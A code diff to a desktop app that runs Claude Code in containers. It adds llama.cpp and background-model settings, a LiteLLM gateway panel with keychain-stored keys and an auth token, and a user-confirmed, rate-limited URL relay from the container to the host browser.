  "Optional. Claude Code resolves the `haiku` alias to this, and uses it for background work such as conversation titles. Leave blank to reuse the model above — that is what stops background calls failing against a server that only serves one model.";
 interface Props {
  project: Project;
  save: (patch: Partial<Project>) => Promise<boolean>;
@@ -64,6 +79,19 @@ export default function ModelSection({ project, save, disabled }: Props) {
  const [ollamaModelId, setOllamaModelId] = useState(
    project.ollama_config?.model_id ?? "",
  );
  const [ollamaHaikuModelId, setOllamaHaikuModelId] = useState(
    project.ollama_config?.haiku_model_id ?? "",
  );
  const [llamaCppBaseUrl, setLlamaCppBaseUrl] = useState(
    project.llamacpp_config?.base_url ?? DEFAULT_LLAMACPP_CONFIG.base_url,
  );
  const [llamaCppModelId, setLlamaCppModelId] = useState(
    project.llamacpp_config?.model_id ?? "",
  );
  const [llamaCppHaikuModelId, setLlamaCppHaikuModelId] = useState(
    project.llamacpp_config?.haiku_model_id ?? "",
  );
  const [oaiBaseUrl, setOaiBaseUrl] = useState(
    project.openai_compatible_config?.base_url ??
@@ -75,6 +103,9 @@ export default function ModelSection({ project, save, disabled }: Props) {
  const [oaiModelId, setOaiModelId] = useState(
    project.openai_compatible_config?.model_id ?? "",
  );
  const [oaiHaikuModelId, setOaiHaikuModelId] = useState(
    project.openai_compatible_config?.haiku_model_id ?? "",
  );
  useEffect(() => {
    const bc = project.bedrock_config ?? DEFAULT_BEDROCK_CONFIG;
@@ -88,12 +119,19 @@ export default function ModelSection({ project, save, disabled }: Props) {
    setServiceTier(bc.service_tier ?? "");
    setOllamaBaseUrl(project.ollama_config?.base_url ?? DEFAULT_OLLAMA_CONFIG.base_url);
    setOllamaModelId(project.ollama_config?.model_id ?? "");
    setOllamaHaikuModelId(project.ollama_config?.haiku_model_id ?? "");
    setLlamaCppBaseUrl(
      project.llamacpp_config?.base_url ?? DEFAULT_LLAMACPP_CONFIG.base_url,
    );
    setLlamaCppModelId(project.llamacpp_config?.model_id ?? "");
    setLlamaCppHaikuModelId(project.llamacpp_config?.haiku_model_id ?? "");
    setOaiBaseUrl(
      project.openai_compatible_config?.base_url ??
        DEFAULT_OPENAI_COMPATIBLE_CONFIG.base_url,
    );
    setOaiApiKey(project.openai_compatible_config?.api_key ?? "");
    setOaiModelId(project.openai_compatible_config?.model_id ?? "");
    setOaiHaikuModelId(project.openai_compatible_config?.haiku_model_id ?? "");
  }, [project]);
  const saveBedrock = (patch: Partial<BedrockConfig>) =>
@@ -104,6 +142,14 @@ export default function ModelSection({ project, save, disabled }: Props) {
      ollama_config: { ...(project.ollama_config ?? DEFAULT_OLLAMA_CONFIG), ...patch },
    });
  const saveLlamaCpp = (patch: Partial<LlamaCppConfig>) =>
    save({
      llamacpp_config: {
        ...(project.llamacpp_config ?? DEFAULT_LLAMACPP_CONFIG),
        ...patch,
      },
    });
  const saveOpenAi = (patch: Partial<OpenAiCompatibleConfig>) =>
    save({
      openai_compatible_config: {
@@ -122,6 +168,8 @@ export default function ModelSection({ project, save, disabled }: Props) {
      patch.bedrock_config = DEFAULT_BEDROCK_CONFIG;
    if (mode === "ollama" && !project.ollama_config)
      patch.ollama_config = DEFAULT_OLLAMA_CONFIG;
    if (mode === "llama_cpp" && !project.llamacpp_config)
      patch.llamacpp_config = DEFAULT_LLAMACPP_CONFIG;
    if (mode === "open_ai_compatible" && !project.openai_compatible_config)
      patch.openai_compatible_config = DEFAULT_OPENAI_COMPATIBLE_CONFIG;
    save(patch);
@@ -131,7 +179,7 @@ export default function ModelSection({ project, save, disabled }: Props) {
    <ConfigGroup title="Model" description="Which provider serves this project's Claude.">
      <Field
        label="Backend"
-        hint="Anthropic connects directly via OAuth (run `claude login` in a terminal). Bedrock routes through AWS. Ollama and OpenAI Compatible point at any compatible endpoint."
+        hint="Anthropic connects directly via OAuth (run `claude login` in a terminal). Bedrock routes through AWS. Ollama, llama.cpp and OpenAI Compatible point at any endpoint that implements the Anthropic Messages API."
      >
        {(id) => (
          <select
@@ -144,6 +192,7 @@ export default function ModelSection({ project, save, disabled }: Props) {
            <option value="anthropic">Anthropic</option>
            <option value="bedrock">Bedrock</option>
            <option value="ollama">Ollama</option>
            <option value="llama_cpp">llama.cpp</option>
            <option value="open_ai_compatible">OpenAI Compatible</option>
          </select>
        )}
@@ -365,6 +414,73 @@ export default function ModelSection({ project, save, disabled }: Props) {
              />
            )}
          </Field>
          <Field label="Background model" hint={HAIKU_HINT}>
            {(id) => (
              <input
                id={id}
                value={ollamaHaikuModelId}
                onChange={(e) => setOllamaHaikuModelId(e.target.value)}
                onBlur={() =>
                  saveOllama({ haiku_model_id: ollamaHaikuModelId.trim() || null })
                }
                placeholder="(same as the model above)"
                disabled={disabled}
                className={monoInputClass}
              />
            )}
          </Field>
        </div>
      )}
      {project.backend === "llama_cpp" && (
        <div className="space-y-4 pt-2 border-t border-[var(--border-color)]">
          <Field
            label="Base URL"
            hint="Your llama-server. It listens on port 8080 by default; use host.docker.internal to reach the host machine."
          >
            {(id) => (
              <input
                id={id}
                value={llamaCppBaseUrl}
                onChange={(e) => setLlamaCppBaseUrl(e.target.value)}
                onBlur={() => saveLlamaCpp({ base_url: llamaCppBaseUrl })}
                placeholder="http://host.docker.internal:8080"
                disabled={disabled}
                className={monoInputClass}
              />
            )}
          </Field>
          <Field
            label="Model"
            hint="The model llama-server was started with. llama-server serves one model, so this is mainly what Claude Code reports — but it is also what the model aliases are pinned to."
          >
            {(id) => (
              <input
                id={id}
                value={llamaCppModelId}
                onChange={(e) => setLlamaCppModelId(e.target.value)}
                onBlur={() => saveLlamaCpp({ model_id: llamaCppModelId || null })}
                placeholder="qwen3.5-coder-30b"
                disabled={disabled}
                className={monoInputClass}
              />
            )}
          </Field>
          <Field label="Background model" hint={HAIKU_HINT}>
            {(id) => (
              <input
                id={id}
                value={llamaCppHaikuModelId}
                onChange={(e) => setLlamaCppHaikuModelId(e.target.value)}
                onBlur={() =>
                  saveLlamaCpp({ haiku_model_id: llamaCppHaikuModelId.trim() || null })
                }
                placeholder="(same as the model above)"
                disabled={disabled}
                className={monoInputClass}
              />
            )}
          </Field>
        </div>
      )}
@@ -372,7 +488,7 @@ export default function ModelSection({ project, save, disabled }: Props) {
        <div className="space-y-4 pt-2 border-t border-[var(--border-color)]">
          <Field
            label="Base URL"
-            hint="Any OpenAI API-compatible endpoint — LiteLLM, OpenRouter, vLLM, and so on."
+            hint="A gateway that implements the Anthropic Messages API (POST /v1/messages) — LiteLLM, for example. An endpoint that only speaks OpenAI /v1/chat/completions will not work."
          >
            {(id) => (
              <input
@@ -413,6 +529,21 @@ export default function ModelSection({ project, save, disabled }: Props) {
              />
            )}
          </Field>
          <Field label="Background model" hint={HAIKU_HINT}>
            {(id) => (
              <input
                id={id}
                value={oaiHaikuModelId}
                onChange={(e) => setOaiHaikuModelId(e.target.value)}
                onBlur={() =>
                  saveOpenAi({ haiku_model_id: oaiHaikuModelId.trim() || null })
                }
                placeholder="(same as the model above)"
                disabled={disabled}
                className={monoInputClass}
              />
            )}
          </Field>
        </div>
      )}
    </ConfigGroup>
@@ -0,0 +1,482 @@
 import { useState, useEffect, useCallback } from "react";
 import { listen } from "@tauri-apps/api/event";
 import { useSettings } from "../../hooks/useSettings";
 import {
  getGatewayStatus,
  startGateway,
  stopGateway,
  checkGatewayHealth,
  pullGatewayImage,
  buildGatewayImage,
  setGatewayApiKey,
  clearGatewayApiKey,
  getGatewayAuthToken,
  regenerateGatewayAuthToken,
 } from "../../lib/tauri-commands";
 import type { GatewayModel, GatewaySettings as GatewaySettingsType, GatewayStatus } from "../../lib/types";
 import Button from "../ui/Button";
 import Field, { SwitchRow, inputClass, monoInputClass } from "../ui/Field";
 import Modal from "../ui/Modal";
 import StatusIndicator, { type StatusTone } from "../ui/StatusIndicator";
 import Toggle from "../ui/Toggle";
 const DEFAULT_GATEWAY: GatewaySettingsType = {
  enabled: false,
  port: 4000,
  provider: "openai",
  api_base: null,
  models: [],
 };
 /**
 * Settings for the model gateway — the LiteLLM container Triple-C runs so that
 * Claude Code, which only speaks the Anthropic Messages API, can be driven by
 * an OpenAI key.
 *
 * The provider API key is write-only from here: it goes to the OS keychain and
 * there is no command that reads it back, so the UI can only ever report
 * whether one is stored.
 */
 export default function GatewaySettings() {
  const { appSettings, saveSettings } = useSettings();
  const gateway = appSettings?.gateway ?? DEFAULT_GATEWAY;
  const [status, setStatus] = useState<GatewayStatus | null>(null);
  const [healthy, setHealthy] = useState<boolean | null>(null);
  const [loading, setLoading] = useState(false);
  const [pulling, setPulling] = useState(false);
  const [building, setBuilding] = useState(false);
  const [log, setLog] = useState<string | null>(null);
  const [error, setError] = useState<string | null>(null);
  const [provider, setProvider] = useState(gateway.provider);
  const [port, setPort] = useState(String(gateway.port));
  const [apiBase, setApiBase] = useState(gateway.api_base ?? "");
  const [apiKeyDraft, setApiKeyDraft] = useState("");
  const [savingKey, setSavingKey] = useState(false);
  const [authToken, setAuthToken] = useState<string | null>(null);
  const [copied, setCopied] = useState<string | null>(null);
  const [confirmRotate, setConfirmRotate] = useState(false);
  useEffect(() => {
    setProvider(gateway.provider);
    setPort(String(gateway.port));
    setApiBase(gateway.api_base ?? "");
  }, [gateway.provider, gateway.port, gateway.api_base]);
  const refreshStatus = useCallback(async () => {
    try {
      const next = await getGatewayStatus();
      setStatus(next);
      setHealthy(next.running ? await checkGatewayHealth() : null);
    } catch (e) {
      console.error("Gateway status failed:", e);
    }
  }, []);
  useEffect(() => {
    refreshStatus();
  }, [refreshStatus]);
  const patch = async (changes: Partial<GatewaySettingsType>) => {
    if (!appSettings) return;
    await saveSettings({ ...appSettings, gateway: { ...gateway, ...changes } });
  };
  const savePort = async () => {
    const parsed = parseInt(port, 10);
    if (isNaN(parsed) || parsed < 1 || parsed > 65535) {
      setPort(String(gateway.port));
      return;
    }
    await patch({ port: parsed });
  };
  const setModels = (models: GatewayModel[]) => patch({ models });
  const updateModel = (index: number, changes: Partial<GatewayModel>) =>
    setModels(gateway.models.map((m, i) => (i === index ? { ...m, ...changes } : m)));
  const run = async (fn: () => Promise<unknown>) => {
    setLoading(true);
    setError(null);
    try {
      await fn();
      await refreshStatus();
    } catch (e) {
      setError(String(e));
    } finally {
      setLoading(false);
    }
  };
  const withProgress = async (
    event: string,
    setBusy: (busy: boolean) => void,
    fn: () => Promise<void>,
  ) => {
    setBusy(true);
    setLog(null);
    setError(null);
    const unlisten = await listen<string>(event, (e) => setLog(e.payload));
    try {
      await fn();
      await refreshStatus();
    } catch (e) {
      setError(String(e));
    } finally {
      setBusy(false);
      unlisten();
    }
  };
  const handleSaveKey = async () => {
    if (!apiKeyDraft.trim()) return;
    setSavingKey(true);
    setError(null);
    try {
      await setGatewayApiKey(apiKeyDraft);
      setApiKeyDraft("");
      await refreshStatus();
    } catch (e) {
      setError(String(e));
    } finally {
      setSavingKey(false);
    }
  };
  const revealToken = async () => {
    try {
      setAuthToken(await getGatewayAuthToken());
    } catch (e) {
      setError(String(e));
    }
  };
  const rotateToken = async () => {
    setConfirmRotate(false);
    try {
      setAuthToken(await regenerateGatewayAuthToken());
      await refreshStatus();
    } catch (e) {
      setError(String(e));
    }
  };
  const copy = async (label: string, value: string) => {
    await navigator.clipboard.writeText(value);
    setCopied(label);
    setTimeout(() => setCopied(null), 2000);
  };
  const tone: StatusTone = !status?.image_exists
    ? "off"
    : status.running
      ? healthy === false
        ? "busy"
        : "running"
      : status.container_exists
        ? "stopped"
        : "off";
  const statusLabel = !status?.image_exists
    ? "No image"
    : status.running
      ? healthy === false
        ? "Starting…"
        : `Running on port ${status.port}`
      : status.container_exists
        ? "Stopped"
        : "Image ready";
  return (
    <div>
      <label className="block text-sm font-medium mb-1">Model Gateway</label>
      <p className="text-xs text-[var(--text-secondary)] mb-3">
        Runs a pinned LiteLLM proxy in a container. Claude Code only speaks the Anthropic
        Messages API, so an OpenAI key cannot drive it directly — the gateway serves{" "}
        <code className="font-mono">/v1/messages</code> and translates each call to your
        provider. Point a project's <strong>OpenAI Compatible</strong> backend at it.
      </p>
      <div className="space-y-4">
        <SwitchRow
          label="Model gateway"
          hint="Start the gateway container with Triple-C."
          control={
            <Toggle
              label="Model gateway"
              checked={gateway.enabled}
              onChange={(value) => patch({ enabled: value })}
            />
          }
        />
        {gateway.enabled && (
          <>
            {/* ── Container ─────────────────────────────────────────────── */}
            <div className="flex items-center gap-3 flex-wrap">
              <StatusIndicator tone={tone} label={statusLabel} className="text-xs" />
              {status?.image_exists && (
                <Button
                  variant={status.running ? "danger" : "primary"}
                  disabled={loading}
                  onClick={() => run(status.running ? stopGateway : startGateway)}
                >
                  {loading ? "Working…" : status.running ? "Stop" : "Start"}
                </Button>
              )}
              <Button
                disabled={pulling || building}
                onClick={() => withProgress("gateway-pull-progress", setPulling, pullGatewayImage)}
              >
                {pulling ? "Pulling…" : "Pull Image"}
              </Button>
              <Button
                disabled={pulling || building}
                onClick={() => withProgress("gateway-build-progress", setBuilding, buildGatewayImage)}
              >
                {building ? "Building…" : "Build Locally"}
              </Button>
            </div>
            {log && (
              <pre className="text-[10px] text-[var(--text-secondary)] bg-[var(--bg-primary)] border border-[var(--border-color)] rounded-[var(--radius-control)] px-2 py-1 max-h-20 overflow-y-auto whitespace-pre-wrap">
                {log}
              </pre>
            )}
            {error && (
              <p className="text-xs text-[var(--error)]" role="alert">
                {error}
              </p>
            )}
            {/* ── Provider ──────────────────────────────────────────────── */}
            <Field
              label="Provider"
              hint="LiteLLM provider prefix. OpenAI is the common case; anything LiteLLM supports works (azure, gemini, groq, …)."
            >
              {(id) => (
                <input
                  id={id}
                  type="text"
                  value={provider}
                  onChange={(e) => setProvider(e.target.value)}
                  onBlur={() => patch({ provider: provider.trim() || "openai" })}
                  placeholder="openai"
                  className={inputClass}
                />
              )}
            </Field>
            <Field
              label="Provider API key"
              hint={
                status?.has_api_key
                  ? "A key is stored in your OS keychain. Enter a new one to replace it — it is never shown again."
                  : "Stored in your OS keychain, written only into the gateway container's config. Never shown again once saved."
              }
            >
              {(id) => (
                <div className="flex items-center gap-2">
                  <input
                    id={id}
                    type="password"
                    autoComplete="off"
                    value={apiKeyDraft}
                    onChange={(e) => setApiKeyDraft(e.target.value)}
                    placeholder={status?.has_api_key ? "•••••••• (stored)" : "sk-…"}
                    className={monoInputClass}
                  />
                  <Button
                    variant="primary"
                    disabled={savingKey || !apiKeyDraft.trim()}
                    onClick={handleSaveKey}
                  >
                    {savingKey ? "Saving…" : "Save"}
                  </Button>
                  {status?.has_api_key && (
                    <Button variant="danger" onClick={() => run(clearGatewayApiKey)}>
                      Clear
                    </Button>
                  )}
                </div>
              )}
            </Field>
            <Field
              label="Provider base URL (optional)"
              hint="Override the provider's endpoint — Azure deployments, self-hosted OpenAI-compatible servers, and so on. Leave blank for the provider default."
            >
              {(id) => (
                <input
                  id={id}
                  type="text"
                  value={apiBase}
                  onChange={(e) => setApiBase(e.target.value)}
                  onBlur={() => patch({ api_base: apiBase.trim() || null })}
                  placeholder="https://api.openai.com/v1"
                  className={inputClass}
                />
              )}
            </Field>
            <Field
              label="Host port"
              hint="Port the gateway is published on. Changing it recreates the container."
            >
              {(id) => (
                <input
                  id={id}
                  type="number"
                  min={1}
                  max={65535}
                  value={port}
                  onChange={(e) => setPort(e.target.value)}
                  onBlur={savePort}
                  className={inputClass}
                />
              )}
            </Field>
            {/* ── Models ────────────────────────────────────────────────── */}
            <div>
              <div className="text-[13px] font-medium text-[var(--text-primary)]">Models</div>
              <p className="mt-0.5 mb-2 text-xs text-[var(--text-secondary)] leading-snug">
                Each row becomes one model the gateway serves. <strong>Name</strong> is what a
                project puts in its model field; <strong>Model id</strong> is the provider's own
                id. The gateway sends them as{" "}
                <code className="font-mono">{provider || "openai"}/&lt;model id&gt;</code>.
              </p>
              <div className="space-y-2">
                {gateway.models.map((model, index) => (
                  <div key={index} className="flex items-center gap-2">
                    <input
                      type="text"
                      aria-label={`Model ${index + 1} name`}
                      value={model.name}
                      onChange={(e) => updateModel(index, { name: e.target.value })}
                      placeholder="gpt-5.1"
                      className={monoInputClass}
                    />
                    <input
                      type="text"
                      aria-label={`Model ${index + 1} provider id`}
                      value={model.model_id}
                      onChange={(e) => updateModel(index, { model_id: e.target.value })}
                      placeholder="gpt-5.1"
                      className={monoInputClass}
                    />
                    <Button
                      variant="ghost"
                      aria-label={`Remove model ${index + 1}`}
                      onClick={() => setModels(gateway.models.filter((_, i) => i !== index))}
                    >
                      Remove
                    </Button>
                  </div>
                ))}
                <Button
                  onClick={() => setModels([...gateway.models, { name: "", model_id: "" }])}
                >
                  Add model
                </Button>
              </div>
            </div>
            {/* ── What a project should use ─────────────────────────────── */}
            <div className="border border-[var(--border-color)] rounded-[var(--radius-panel)] bg-[var(--bg-secondary)] px-3 py-3 space-y-3">
              <div>
                <div className="text-[13px] font-medium text-[var(--text-primary)]">
                  Project settings for this gateway
                </div>
                <p className="mt-0.5 text-xs text-[var(--text-secondary)] leading-snug">
                  Set a project's backend to <strong>OpenAI Compatible</strong> and use these
                  values. On native Linux Docker, where{" "}
                  <code className="font-mono">host.docker.internal</code> is not injected into
                  containers, use <code className="font-mono">http://172.17.0.1:{gateway.port}</code>{" "}
                  instead.
                </p>
              </div>
              <Field label="Base URL">
                {(id) => (
                  <div className="flex items-center gap-2">
                    <input
                      id={id}
                      readOnly
                      value={status?.base_url ?? `http://host.docker.internal:${gateway.port}`}
                      className={monoInputClass}
                    />
                    <Button
                      onClick={() =>
                        copy(
                          "url",
                          status?.base_url ?? `http://host.docker.internal:${gateway.port}`,
                        )
                      }
                    >
                      {copied === "url" ? "Copied" : "Copy"}
                    </Button>
                  </div>
                )}
              </Field>
              <Field
                label="Auth token"
                hint="The gateway requires this on every request, which is what stops the published port being an open proxy onto your provider account."
              >
                {(id) => (
                  <div className="flex items-center gap-2">
                    <input
                      id={id}
                      readOnly
                      type={authToken ? "text" : "password"}
                      value={authToken ?? "••••••••••••"}
                      className={monoInputClass}
                    />
                    {authToken ? (
                      <Button onClick={() => copy("token", authToken)}>
                        {copied === "token" ? "Copied" : "Copy"}
                      </Button>
                    ) : (
                      <Button onClick={revealToken}>Reveal</Button>
                    )}
                    <Button variant="danger" onClick={() => setConfirmRotate(true)}>
                      Regenerate
                    </Button>
                  </div>
                )}
              </Field>
            </div>
          </>
        )}
      </div>
      {confirmRotate && (
        <Modal
          title="Regenerate gateway auth token?"
          onClose={() => setConfirmRotate(false)}
          footer={
            <div className="flex justify-end gap-2">
              <Button size="md" onClick={() => setConfirmRotate(false)}>
                Cancel
              </Button>
              <Button size="md" variant="danger" onClick={rotateToken}>
                Regenerate
              </Button>
            </div>
          }
        >
          <p className="text-[13px] text-[var(--text-secondary)]">
            Every project still using the current token will stop reaching the gateway until you
            paste the new one into its model config. The gateway is recreated on its next start.
          </p>
        </Modal>
      )}
    </div>
  );
 }
@@ -0,0 +1,68 @@
 import { useSettings } from "../../hooks/useSettings";
 import Tooltip from "../ui/Tooltip";
 type Field = "base_url" | "default_model_id" | "default_haiku_model_id";
 export default function LlamaCppSettings() {
  const { appSettings, saveSettings } = useSettings();
  const globalLlamaCpp = appSettings?.global_llamacpp ?? {
    base_url: null,
    default_model_id: null,
    default_haiku_model_id: null,
  };
  const handleChange = async (field: Field, value: string) => {
    if (!appSettings) return;
    await saveSettings({
      ...appSettings,
      global_llamacpp: { ...globalLlamaCpp, [field]: value || null },
    });
  };
  return (
    <div>
      <label className="block text-sm font-medium mb-2">llama.cpp Configuration</label>
      <div className="space-y-3 text-sm">
        <p className="text-xs text-[var(--text-secondary)]">
          Global defaults for a local or remote <code>llama-server</code>, which serves
          the Anthropic Messages API directly. Used when a per-project field is blank.
          Changes here require a container rebuild to take effect.
        </p>
        <div>
          <span className="text-[var(--text-secondary)] text-xs block mb-1">Default Base URL<Tooltip text="URL of your llama-server. Used when a per-project llama.cpp base URL is blank. llama-server listens on port 8080 by default." /></span>
          <input
            type="text"
            value={globalLlamaCpp.base_url ?? ""}
            onChange={(e) => handleChange("base_url", e.target.value)}
            placeholder="http://host.docker.internal:8080"
            className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
          />
        </div>
        <div>
          <span className="text-[var(--text-secondary)] text-xs block mb-1">Default Model<Tooltip text="Default model identifier. Used when a per-project llama.cpp model is blank." /></span>
          <input
            type="text"
            value={globalLlamaCpp.default_model_id ?? ""}
            onChange={(e) => handleChange("default_model_id", e.target.value)}
            placeholder="qwen3.5-coder-30b"
            className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
          />
        </div>
        <div>
          <span className="text-[var(--text-secondary)] text-xs block mb-1">Default Background Model<span className="text-[var(--text-disabled)]"> (optional)</span><Tooltip text="What the `haiku` alias resolves to, which is also what Claude Code uses for background work such as titles and summaries. Leave blank to reuse the model above — only set this if you serve a second, smaller model." /></span>
          <input
            type="text"
            value={globalLlamaCpp.default_haiku_model_id ?? ""}
            onChange={(e) => handleChange("default_haiku_model_id", e.target.value)}
            placeholder="(same as the model above)"
            className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
          />
        </div>
      </div>
    </div>
  );
 }
@@ -7,9 +7,13 @@ export default function OllamaSettings() {
  const globalOllama = appSettings?.global_ollama ?? {
    base_url: null,
    default_model_id: null,
    default_haiku_model_id: null,
  };
-  const handleChange = async (field: "base_url" | "default_model_id", value: string) => {
+  const handleChange = async (
    field: "base_url" | "default_model_id" | "default_haiku_model_id",
    value: string,
  ) => {
    if (!appSettings) return;
    await saveSettings({
      ...appSettings,
@@ -47,6 +51,17 @@ export default function OllamaSettings() {
            className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
          />
        </div>
        <div>
          <span className="text-[var(--text-secondary)] text-xs block mb-1">Default Background Model<span className="text-[var(--text-disabled)]"> (optional)</span><Tooltip text="What the `haiku` alias resolves to, which is also what Claude Code uses for background work such as titles and summaries. Leave blank to reuse the model above — only set this if you have pulled a second, smaller model." /></span>
          <input
            type="text"
            value={globalOllama.default_haiku_model_id ?? ""}
            onChange={(e) => handleChange("default_haiku_model_id", e.target.value)}
            placeholder="(same as the model above)"
            className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
          />
        </div>
      </div>
    </div>
  );
@@ -7,9 +7,13 @@ export default function OpenAiCompatibleSettings() {
  const globalOai = appSettings?.global_openai_compatible ?? {
    base_url: null,
    default_model_id: null,
    default_haiku_model_id: null,
  };
-  const handleChange = async (field: "base_url" | "default_model_id", value: string) => {
+  const handleChange = async (
    field: "base_url" | "default_model_id" | "default_haiku_model_id",
    value: string,
  ) => {
    if (!appSettings) return;
    await saveSettings({
      ...appSettings,
@@ -22,8 +26,9 @@ export default function OpenAiCompatibleSettings() {
      <label className="block text-sm font-medium mb-2">OpenAI Compatible Configuration</label>
      <div className="space-y-3 text-sm">
        <p className="text-xs text-[var(--text-secondary)]">
-          Global defaults for any OpenAI-compatible endpoint (LiteLLM, OpenRouter, vLLM, etc.).
+          Global defaults for a gateway that implements the Anthropic Messages API
-          Used when a per-project field is blank. Changes require a container rebuild.
+          (<code>POST /v1/messages</code>) — LiteLLM, for example. Used when a per-project
          field is blank. Changes require a container rebuild.
        </p>
        <div>
@@ -47,6 +52,17 @@ export default function OpenAiCompatibleSettings() {
            className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
          />
        </div>
        <div>
          <span className="text-[var(--text-secondary)] text-xs block mb-1">Default Background Model<span className="text-[var(--text-disabled)]"> (optional)</span><Tooltip text="What the `haiku` alias resolves to, which is also what Claude Code uses for background work such as titles and summaries. Leave blank to reuse the model above — only set this if your gateway also serves a smaller model." /></span>
          <input
            type="text"
            value={globalOai.default_haiku_model_id ?? ""}
            onChange={(e) => handleChange("default_haiku_model_id", e.target.value)}
            placeholder="(same as the model above)"
            className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
          />
        </div>
      </div>
    </div>
  );
@@ -2,7 +2,9 @@ import { useState, useEffect } from "react";
 import DockerSettings from "./DockerSettings";
 import AwsSettings from "./AwsSettings";
 import OllamaSettings from "./OllamaSettings";
 import LlamaCppSettings from "./LlamaCppSettings";
 import OpenAiCompatibleSettings from "./OpenAiCompatibleSettings";
 import GatewaySettings from "./GatewaySettings";
 import { useSettings } from "../../hooks/useSettings";
 import { useUpdates } from "../../hooks/useUpdates";
 import ClaudeInstructionsModal from "../projects/ClaudeInstructionsModal";
@@ -159,7 +161,11 @@ export default function SettingsPanel() {
        <div className="pt-3 border-t border-[var(--border-color)]" />
        <OllamaSettings />
        <div className="pt-3 border-t border-[var(--border-color)]" />
        <LlamaCppSettings />
        <div className="pt-3 border-t border-[var(--border-color)]" />
        <OpenAiCompatibleSettings />
        <div className="pt-3 border-t border-[var(--border-color)]" />
        <GatewaySettings />
      </AccordionSection>
      <AccordionSection id="container" title="Container" defaultOpen={false}>
@@ -10,6 +10,11 @@ import { useAppState } from "../../store/appState";
 import { awsSsoRefresh, uploadHostFileToTerminal } from "../../lib/tauri-commands";
 import { getCurrentWebview } from "@tauri-apps/api/webview";
 import { UrlDetector } from "../../lib/urlDetector";
 import {
  RelayRateLimiter,
  URL_RELAY_OSC,
  parseUrlRelayOsc,
 } from "../../lib/urlRelay";
 import UrlToast from "./UrlToast";
 import { trimSelection } from "./trimSelection";
 import TerminalContextMenu from "./TerminalContextMenu";
@@ -37,7 +42,13 @@ export default function TerminalView({ sessionId, active }: Props) {
    (s) => s.sessions.find((sess) => sess.id === sessionId)?.projectId
  );
-  const [detectedUrl, setDetectedUrl] = useState<string | null>(null);
+  // One toast slot, two producers: the heuristic long-URL detector and the
  // container's explicit "open this in the host browser" relay (OSC 7777).
  // Sharing the slot keeps them from stacking on top of each other.
  const [urlPrompt, setUrlPrompt] = useState<{ url: string; label: string } | null>(
    null,
  );
  const relayLimiterRef = useRef(new RelayRateLimiter());
  const [imagePasteMsg, setImagePasteMsg] = useState<string | null>(null);
  const [isAtBottom, setIsAtBottom] = useState(true);
  const [isAutoFollow, setIsAutoFollow] = useState(true);
@@ -212,6 +223,31 @@ export default function TerminalView({ sessionId, active }: Props) {
      return true;
    });
    // URL relay (OSC 7777) — a CLI inside the container asked for a URL to be
    // opened in a browser. The container has none; `triple-c-open` (installed
    // as xdg-open / $BROWSER / sensible-browser / ...) forwards the request
    // here instead.
    //
    // The container is untrusted, so this never opens anything by itself:
    // parseUrlRelayOsc enforces the http/https allowlist and the payload is
    // rate-limited, then the user gets the same confirmation toast the
    // long-URL detector uses. One click is a small price for not handing a
    // sandboxed agent a "make the host's logged-in browser fetch this"
    // primitive.
    const relayDisposable = term.parser.registerOscHandler(URL_RELAY_OSC, (data) => {
      const url = parseUrlRelayOsc(data);
      if (!url) {
        console.warn("URL relay: rejected request from container");
        return true; // consumed either way — never let it reach the screen
      }
      if (!relayLimiterRef.current.allow(url)) {
        console.warn("URL relay: rate-limited", url);
        return true;
      }
      setUrlPrompt({ url, label: "Container asked to open a URL" });
      return true;
    });
    // Handle user input -> backend
    const inputDisposable = term.onData((data) => {
      sendInput(sessionId, data);
@@ -295,7 +331,9 @@ export default function TerminalView({ sessionId, active }: Props) {
    // Handle backend output -> terminal
    let aborted = false;
-    const detector = new UrlDetector((url) => setDetectedUrl(url));
+    const detector = new UrlDetector((url) =>
      setUrlPrompt({ url, label: "Long URL detected" }),
    );
    detectorRef.current = detector;
    const SSO_MARKER = "###TRIPLE_C_SSO_REFRESH###";
@@ -369,6 +407,7 @@ export default function TerminalView({ sessionId, active }: Props) {
      ssoTriggeredRef.current = false;
      ssoBufferRef.current = "";
      osc52Disposable.dispose();
      relayDisposable.dispose();
      inputDisposable.dispose();
      scrollDisposable.dispose();
      selectionDisposable.dispose();
@@ -425,10 +464,10 @@ export default function TerminalView({ sessionId, active }: Props) {
  // Auto-dismiss toast after 30 seconds
  useEffect(() => {
-    if (!detectedUrl) return;
+    if (!urlPrompt) return;
-    const timer = setTimeout(() => setDetectedUrl(null), 30_000);
+    const timer = setTimeout(() => setUrlPrompt(null), 30_000);
    return () => clearTimeout(timer);
-  }, [detectedUrl]);
+  }, [urlPrompt]);
  // Auto-dismiss image paste message after 3 seconds
  useEffect(() => {
@@ -438,13 +477,13 @@ export default function TerminalView({ sessionId, active }: Props) {
  }, [imagePasteMsg]);
  const handleOpenUrl = useCallback(() => {
-    if (detectedUrl) {
+    if (urlPrompt) {
-      openUrl(detectedUrl).catch((e) =>
+      openUrl(urlPrompt.url).catch((e) =>
        console.error("Failed to open URL:", e),
      );
-      setDetectedUrl(null);
+      setUrlPrompt(null);
    }
-  }, [detectedUrl]);
+  }, [urlPrompt]);
  const handleScrollToBottom = useCallback(() => {
    const term = termRef.current;
@@ -516,11 +555,12 @@ export default function TerminalView({ sessionId, active }: Props) {
      ref={terminalContainerRef}
      className={`w-full h-full relative ${active ? "" : "hidden"}`}
    >
-      {detectedUrl && (
+      {urlPrompt && (
        <UrlToast
-          url={detectedUrl}
+          url={urlPrompt.url}
          label={urlPrompt.label}
          onOpen={handleOpenUrl}
-          onDismiss={() => setDetectedUrl(null)}
+          onDismiss={() => setUrlPrompt(null)}
        />
      )}
      {imagePasteMsg && (
@@ -1,10 +1,17 @@
 interface Props {
  url: string;
  /** Heading above the URL. Says why the toast appeared. */
  label?: string;
  onOpen: () => void;
  onDismiss: () => void;
 }
